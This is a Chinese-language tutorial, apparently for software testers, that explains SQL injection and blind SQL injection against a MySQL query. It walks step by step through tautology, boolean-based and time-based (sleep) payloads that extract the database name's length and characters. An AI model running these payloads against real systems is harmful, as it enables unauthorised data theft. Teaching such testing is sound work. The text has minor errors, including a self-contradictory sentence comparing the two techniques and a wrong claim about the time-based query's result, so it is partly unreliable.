测试同学在做安全测试时,相信多少都会遇到SQL注入与盲注的漏洞,那么今天我们就来分享下SQL注入与盲注的相关知识,希望对大家有所启发。

java 盲注修复 sql注入 盲注_自动化测试

一、SQL盲注的定义

SQL注入,简单理解,也就是将用户输的的内容当代码执行了,应用程序没有对用户输入的内容进行判断和过滤,攻击者通过将构造的恶意SQL语句作为查询参数,使其在后台服务器上解析执行,最终导致数据库信息被篡改或泄露,这个过程就成为SQL注入。

盲注,其实是SQL注入的一种, 攻击者在没有获得任何错误回显消息的情况下,通过使用一系列的布尔型或时间型查询,逐渐推断出数据库中的敏感信息。简单理解下,盲注的表现就是,同一个接口,同一个参数,传不符合常规的值,理论上返回的结果都是一样的,实际上却返回了两个不同的结果。

举个例子,一个查询列表,在搜索框输入学生id,就会显示该学生信息,程序执行的SQL就是SELECT name,age FROM users WHERE user_id = '$id';

正常情况下,用户输入用户名id,就能查到用户信息,但是如果攻击者输入的内容是:666' or '1'='1,那么查询的SQL语句就变成SELECT name,age FROM users WHERE user_id = '666' or '1'='1',由于1=1恒成立,就会执行SQL,执行后,就会返回所有的学生信息,有回显信息,这就是典型的SQL注入的例子。

如果执行SQL后,应用程序不显示任何具体的数据,可能只是告诉我们查询成功或者查询失败,或者什么都不说,没有回显,但是SQL还是执行了,SQL注入发生了,这就是盲注的典型例子。

二、SQL盲注基础分类

盲注主要包含两类:基于布尔类型的盲注和基于时间类型的盲注。

1、布尔盲注

布尔盲注:进行SQL注入之后,根据页面返回的True或者是False,来得到数据库中的相关信息

2、时间盲注

时间盲注:无论输入什么值,只会回显一个界面,通过加入特定的时间函数,查看页面返回的时间差来判断注入的语句是否正确。

一般情况下,可以进行布尔盲注的地方也可以进行时间盲注,但是,可以进行时间盲注的地方不一定可以进行时间盲注,而且时间盲注适用的范围更广,布尔盲注的稳定性更好,但因为时间盲注的实现原理是基于timeout的,稳定性与效率不如布尔注入。

在盲注测试时,通常先测试是否可以布尔盲注,若不行再尝试时间盲注。

三、SQL盲注常用函数

1、length()函数

返回字符串的长度

2、substr()截取

截取字符串,语法:SUBSTR(str,pos,len),从str中截取,从pos开始的位置,截取len个字符(空白也算字符)

3、ascii()

返回字符的ascii码

4、sleep()

将程序挂起一段时间

5、if(expr1,expr2,expr3)

判断语句,如果第一个语句正确,就执行第二个语句,如果错误,就执行第三个语句

四、SQL盲注实例剖析

(一)长度判断原理

以MySQL的length()函数为例,判断返回结果的长度是多少,我们想要判断数据库库名的长度是多少,在输入框可以输入:

?id=1' and length( database() )=1 -- a

执行的流程是:

1、原始SQL

SELECT name,age FROM users WHERE user_id = '$id';

2、用户输入参数

1' and length( database() )=1--+

3、拼接参数后,在后台执行SQL

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';
--表示注释符号

4、length( database() )=1结果为false

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';

SELECT name,age FROM users WHERE user_id = '1' and false --+';

5、查询结果为空

6、依次猜测长度

将输入变为:?id=1' and length( database() )=2 -- +

将输入变为:?id=1' and length( database() )=3 -- +

...

执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=2--+';

执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=3--+';

...

7、当执行结果显示为正常时

例如长度为6时,返回了正常结果,也就是执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and length( database() )=6--+';

SELECT name,age FROM users WHERE user_id = '1' and true --+';

8、猜测成功

数据库的长度就是6了

(二)穷举字符原理

如果想要猜测数据库名称,就得用到MySQL的substr()函数,将截取到的字符,使用ascii()函数转换成ASCLL码,依次判断。

每一个字符有95种可能性,包括大小写字母和特殊字符,对应的ASCLL码在32~126之间。

接着上面的例子,我们已经猜测除了数据库名的长度,接着猜测数据库名字,猜测流程如下:

1、输入框输入:1' and ascii( substr(database(),1,1) )=32--+

2、原始SQL:

SELECT name,age FROM users WHERE user_id = '$id';

3、拼接参数后,在后台执行SQL

SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=32--+';

--表示注释符号

substr(database(),1,1)表示数据库名的第一个字母

ascii( substr(database(),1,1) )=32表示数据库的第一个字母是空格,空格的ascii码值是32

4、查询结果为空

由于ascii( substr(database(),1,1) )=32结果为false

SELECT name,age FROM users WHERE user_id = '1' and false

所以结果为空

5、依次猜测结果

将输入变为:1' and ascii( substr(database(),1,1) )=33--+

将输入变为:1' and ascii( substr(database(),1,1) )=34--+

...

执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=33--+';

执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=34--+';

...

6、当执行结果为正常时

例如,ascii码值是65时,返回了正常结果,也就是执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=65--+';

SELECT name,age FROM users WHERE user_id = '1' and true  --+';

7、猜测成功

数据库名的第一个字母就是A了

(三)时间盲注原理

判断如果数据库的长度猜测正确了,则时间延迟5s

1、输入框输入:1' and if(length( database() )=1,sleep(5),1)--+

2、原始SQL:

SELECT name,age FROM users WHERE user_id = '$id';

3、拼接参数后,在后台执行SQL

SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=1,sleep(5),1)--+';

--表示注释符号

length( database() )=1表示数据库名的长度是1

if(length( database() )=1,sleep(5),1)表示如果数据库名的长度是1,则延迟5s

4、查询结果为空

由于length( database() )=1结果为false

SELECT name,age FROM users WHERE user_id = '1' and false

所以结果为空

5、依次猜测结果

将输入变为:1' and if(length( database() )=2,sleep(5),1)--+

将输入变为:1' and if(length( database() )=3,sleep(5),1)--+

...

执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=2,sleep(5),1)--+';

执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=3,sleep(5),1)--+';

...

6、当执行结果真正延时5s时

例如,数据库名的长度是6,也就是执行的SQL为:

SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=6,sleep(5),1)--+';

SELECT name,age FROM users WHERE user_id = '1' and true  --+';

7、猜测成功

数据库名的长度是6